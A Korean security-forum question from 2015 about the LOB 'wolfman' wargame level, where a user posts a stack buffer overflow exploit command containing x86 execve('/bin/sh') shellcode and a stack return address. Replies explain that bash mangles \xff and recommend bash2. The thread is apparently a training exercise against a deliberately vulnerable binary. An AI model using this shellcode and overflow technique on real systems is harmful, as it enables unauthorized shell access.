시스템 해킹

 1576, 1/79 회원가입  로그인  
   dog1234
   LOB wolfman 질문드려요

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1782 [복사]


/wolfman `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*9+"\x9a\xfc\xff\xbf"'` 와 같이 넣으면

stack is still your friend 라고 나오면서 \xbf가 argv[1][47]부분에 안들어갔다고 나오구요

./wolfman `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*9+"\x9a\xfc\xaa\xbf"'`  와 같이 넣으면

stack is still your friend 라는 멘트 안뜨고 정상적으로 오류가 떨어지네요

혹시 왜이러는지 아시는분 계신가요.... 이것때문에 안풀리는것같은데.. 훔 .. 아시는분 답변좀 부탁드립니다 ㅠ.ㅠ

  Hit : 3948     Date : 2015/03/03 09:44



    
hgs196 bash2를 사용하셧나요? bash에는 \xff가 \x00으로 들어간다고 들은적이 있어서요.. 저도 자세하게는 모르지만 그래서 문제를 풀때는 항상 bash2를 사용합니다~. 한번 시도는 해보세요 ㅎㅎ 2015/03/09  
skyclad1975 윗분의 말씀과 같습니다.
bash2가 아닌 bash를 사용할 경우 \xff가 \x00과 같이 인식됩니다.
즉, \x00 = NULL문자 로 인식되기 때문에 그 뒷부분인 \xbf가 들어가지 못해 Stack is still your friend 라는 멘트가 뜨는 겁니다.
bash2 로 해보세요.
2015/03/11